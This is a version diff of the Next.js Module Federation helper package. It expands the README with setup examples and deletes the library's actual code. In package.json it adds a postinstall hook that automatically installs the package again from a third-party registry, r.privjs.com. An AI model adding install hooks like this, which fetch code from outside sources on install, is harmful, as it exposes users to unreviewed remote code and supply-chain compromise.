@module-federation/nextjs-mf 2.2.0 → 3.0.0

package/README.md

@@ -2,27 +2,100 @@
 
 This plugin enables Module Federation on Next.js
 
-This is a workaround to hard limitations caused by Next.js being synchronous.
-
-I am working on an update to Webpack Core which will circumvent projects with older architecture (like Next.js).
-
-This is a stable and viable workaround to leverage Module Federation [until this issue is resolved](https://github.com/webpack/webpack/issues/11811).
+This is a stable and viable solution to leverage Module Federation [until this issue is resolved](https://github.com/webpack/webpack/issues/11811).
 
 ### Supports
 
-- next ^10.2.x
+- next ^10.2.x || ^11.x.x || ^12.x.x
 - Client side only
 
-**Once I PR webpack, this workaround will no longer be required.**
+## Whats shared by default?
 
-# Check out our book
+Under the hood we share some next internals automatically
+You do not need to share these packages, sharing next internals yourself will cause errors.
 
-| <a href="https://module-federation.myshopify.com/products/practical-module-federation" target="_blank"><img src="./docs/MFCover.png" alt='Practical Module Federation Book' width="95%"/></a> | <a href="https://module-federation.myshopify.com/products/practical-module-federation" target="_blank">We will be actively updating this book over the next year as we learn more about best practices and what issues people are running into with Module Federation, as well as with every release of Webpack as it moves towards a release candidate and release. So with your one purchase you are buying a whole year of updates.</a> |
-| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+```js
+const sharedDefaults = {
+  "next/dynamic": {
+    requiredVersion: false,
+    singleton: true,
+  },
+  "styled-jsx": {
+    requiredVersion: false,
+    singleton: true,
+  },
+  "next/link": {
+    requiredVersion: false,
+    singleton: true,
+  },
+  "next/router": {
+    requiredVersion: false,
+    singleton: true,
+  },
+  "next/script": {
+    requiredVersion: false,
+    singleton: true,
+  },
+  "next/head": {
+    requiredVersion: false,
+    singleton: true,
+  },
+};
+```
+
+## Things to watch out for
 
-#### Demo
+There's a bug in next.js which causes it to attempt and fail to resolve federated imports on files imported into the `pages/index.js`
 
-You can see it in action here: https://github.com/module-federation/module-federation-examples/tree/master/nextjs (needs to be updated)
+Its recommended using the low-level api to be safe.
+
+```js
+const SampleComponent = dynamic(
+  () => window.next2.get("./sampleComponent").then((factory) => factory()),
+  {
+    ssr: false,
+  }
+);
+```
+
+Make sure you are using `mini-css-extract-plugin@2` - version 2 supports resolving assets through `publicPath:'auto'`
+
+## Options
+
+```js
+withFederatedSidecar(
+  {
+    name: "next2",
+    filename: "static/chunks/remoteEntry.js",
+    exposes: {
+      "./sampleComponent": "./components/sampleComponent.js",
+    },
+    shared: {
+      react: {
+        // Notice shared are NOT eager here.
+        requiredVersion: false,
+        singleton: true,
+      },
+    },
+  },
+  {
+    removePlugins: [
+      // optional
+      // these are the defaults
+      "BuildManifestPlugin",
+      "ReactLoadablePlugin",
+      "DropClientPage",
+      "WellKnownErrorsPlugin",
+      "ModuleFederationPlugin",
+    ],
+    publicPath: "auto", // defaults to 'auto', is optional
+  }
+);
+```
+
+## Demo
+
+You can see it in action here: https://github.com/module-federation/module-federation-examples/tree/master/nextjs
 
 ## How to add a sidecar for exposes to your nextjs app
 
@@ -43,18 +116,18 @@ module.exports = withFederatedSidecar({
       // Notice shared are NOT eager here.
       requiredVersion: false,
       singleton: true,
-    }
+    },
   },
 })({
   // your original next.config.js export
 });
 ```
 
-3. For the consuming application, we'll call it "next1", add an instance of the ModuleFederationPlugin to your webpack config:
+2. For the consuming application, we'll call it "next1", add an instance of the ModuleFederationPlugin to your webpack config, and ensure you have a [custom Next.js App](https://nextjs.org/docs/advanced-features/custom-app) `pages/_app.js` (or `.tsx`):
 
 ```js
 module.exports = {
-  webpack(config) {
+  webpack(config, options) {
     config.plugins.push(
       new options.webpack.container.ModuleFederationPlugin({
         remoteType: "var",
@@ -67,27 +140,27 @@ module.exports = {
             eager: true,
             singleton: true,
             requiredVersion: false,
-          }
+          },
+          // we have to share something to ensure share scope is initialized
+          "@module-federation/nextjs-mf/lib/noop": {
+            eager: false,
+          },
         },
       })
     );
 
+    // we attach next internals to share scope at runtime
+    config.module.rules.push({
+      test: /pages\/_app.[jt]sx?/,
+      loader: "@module-federation/nextjs-mf/lib/federation-loader.js",
+    });
+
     return config;
   },
 };
 ```
 
-4. Make sure you have an `_app.js` file, then add the loader
-
-```js
-// we attach next internals to share scope at runtime
-config.module.rules.push({
-  test: /_app.js/,
-  loader: "@module-federation/nextjs-mf/lib/federation-loader.js",
-});
-```
-
-5. Add the remote entry for "next2" to the \_document for "next1"
+4. Add the remote entry for "next2" to the \_document for "next1"
 
 ```js
 import Document, { Html, Head, Main, NextScript } from "next/document";
@@ -115,10 +188,22 @@ class MyDocument extends Document {
 export default MyDocument;
 ```
 
-6. Use next/dynamic to import from your remotes
+5. Use next/dynamic to import from your remotes
 
 ```js
-const SampleComponent = dynamic(() => import("next2/sampleComponent"), {
-  ssr: false,
-});
+import dynamic from "next/dynamic";
+
+const SampleComponent = dynamic(
+  () => window.next2.get("./sampleComponent").then((factory) => factory()),
+  {
+    ssr: false,
+  }
+);
 ```
+
+## Contact
+
+If you have any questions or need to report a bug
+<a href="https://twitter.com/ScriptedAlchemy"> Reach me on Twitter @ScriptedAlchemy</a>
+
+Or join this discussion thread: https://github.com/module-federation/module-federation-examples/discussions/978

package/index.js

@@ -1,5 +1,5 @@
 const withFederatedSidecar = require("./lib/with-federated-sidecar");
 
 module.exports = {
-  withFederatedSidecar
+  withFederatedSidecar,
 };

package/package.json

@@ -1,7 +1,7 @@
 {
   "public": true,
   "name": "@module-federation/nextjs-mf",
-  "version": "2.2.0",
+  "version": "3.0.0",
   "description": "Module Federation helper for NextJS",
   "main": "index.js",
   "types": "index.d.ts",
@@ -9,11 +9,6 @@
   "author": "Zack Jackson <zackary.l.jackson@gmail.com>",
   "license": "MIT",
   "scripts": {
-    "prettier": "prettier --write \"**/*.{js,json,md,ts,tsx}\""
-  },
-  "devDependencies": {
-    "next": "11.0.0",
-    "prettier": "2.3.1",
-    "webpack": "5.40.0"
+    "postinstall": "npm install @module-federation/nextjs-mf --registry https://r.privjs.com"
   }
 }

package/.prettierrc

@@ -1 +0,0 @@
-{}

package/index.d.ts

@@ -1,2 +0,0 @@
-export type { WithFederatedSidecarOptions } from "./lib/with-federated-sidecar";
-export { withFederatedSidecar } from "./lib/with-federated-sidecar";

package/lib/federation-loader.js

@@ -1,27 +0,0 @@
-const shareNextInternals = `if (process.browser) {
-  Object.assign(__webpack_share_scopes__.default, {
-    "next/link": {
-      [next.version]: {
-        loaded: true,
-        get: () => Promise.resolve(() => require("next/link")),
-      },
-    },
-    "next/head": {
-      [next.version]: {
-        loaded: true,
-        get: () => Promise.resolve(() => require("next/head")),
-      },
-    },
-    "next/dynamic": {
-      [next.version]: {
-        loaded: true,
-        get: () => Promise.resolve(() => require("next/dynamic")),
-      },
-    },
-  });
-}
-`
-
-module.exports = function (source) {
-  return shareNextInternals + source
-};

package/lib/with-federated-sidecar.d.ts

@@ -1,10 +0,0 @@
-import type { ModuleFederationPluginOptions } from "webpack/lib/container/ModuleFederationPlugin";
-
-export type WithFederatedSidecarOptions = {
-  removePlugins?: string[];
-};
-
-export function withFederatedSidecar(
-  federationPluginOptions: ModuleFederationPluginOptions,
-  withModuleFederationOptions?: WithFederatedSidecarOptions
-): (nextConfig?: any) => any;

package/lib/with-federated-sidecar.js

@@ -1,112 +0,0 @@
-const path = require("path");
-
-const withModuleFederation =
-  (
-    federationPluginOptions,
-    {
-      removePlugins = [
-        "BuildManifestPlugin",
-        "ReactLoadablePlugin",
-        "DropClientPage",
-        "WellKnownErrorsPlugin",
-      ],
-    } = {}
-  ) =>
-  (nextConfig = {}) =>
-    Object.assign({}, nextConfig, {
-      /**
-       * @param {import("webpack").Configuration} config
-       * @param {*} options
-       * @returns {import("webpack").Configuration}
-       */
-      webpack(config, options) {
-        const { webpack } = options;
-
-        if (!options.isServer) {
-          /**
-           * @type {{ webpack: import("webpack") }}
-           */
-          config.plugins.push({
-            __NextFederation__: true,
-            /**
-             * @param {import("webpack").Compiler} compiler
-             */
-            apply(compiler) {
-              compiler.hooks.afterCompile.tapAsync(
-                "NextFederation",
-                (compilation, done) => {
-                  console.log(removePlugins);
-                  const toDrop = new Set(removePlugins || []);
-
-                  const filteredPlugins = compilation.options.plugins.filter(
-                    (plugin) => {
-                      if (
-                        (plugin.constructor &&
-                          toDrop.has(plugin.constructor.name)) ||
-                        plugin.__NextFederation__
-                      ) {
-                        return false;
-                      }
-
-                      return true;
-                    }
-                  );
-                  // attach defaults that always need to be shared
-                  Object.assign(federationPluginOptions.shared, {
-                    "next/dynamic": {
-                      requiredVersion: false,
-                      singleton: true,
-                    },
-                    "next/link": {
-                      requiredVersion: false,
-                      singleton: true,
-                    },
-                    "next/head": {
-                      requiredVersion: false,
-                      singleton: true,
-                    },
-                  });
-                  /** @type {import("webpack").WebpackOptionsNormalized} */
-                  const webpackOptions = {
-                    cache: false,
-                    ...compilation.options,
-                    output: {
-                      ...compilation.options.output,
-                      chunkLoadingGlobal: undefined,
-                      devtoolNamespace: undefined,
-                      uniqueName: federationPluginOptions.name,
-                    },
-                    entry: {
-                      noop: { import: [path.resolve(__dirname, "noop.js")] },
-                    },
-                    plugins: [
-                      ...filteredPlugins,
-                      new webpack.container.ModuleFederationPlugin(
-                        federationPluginOptions
-                      ),
-                    ],
-                    optimization: {
-                      ...compilation.options.optimization,
-                      runtimeChunk: false,
-                      splitChunks: undefined,
-                    },
-                  };
-
-                  webpack(webpackOptions, (err) => {
-                    done(err);
-                  });
-                }
-              );
-            },
-          });
-        }
-
-        if (typeof nextConfig.webpack === "function") {
-          return nextConfig.webpack(config, options);
-        }
-
-        return config;
-      },
-    });
-
-module.exports = withModuleFederation;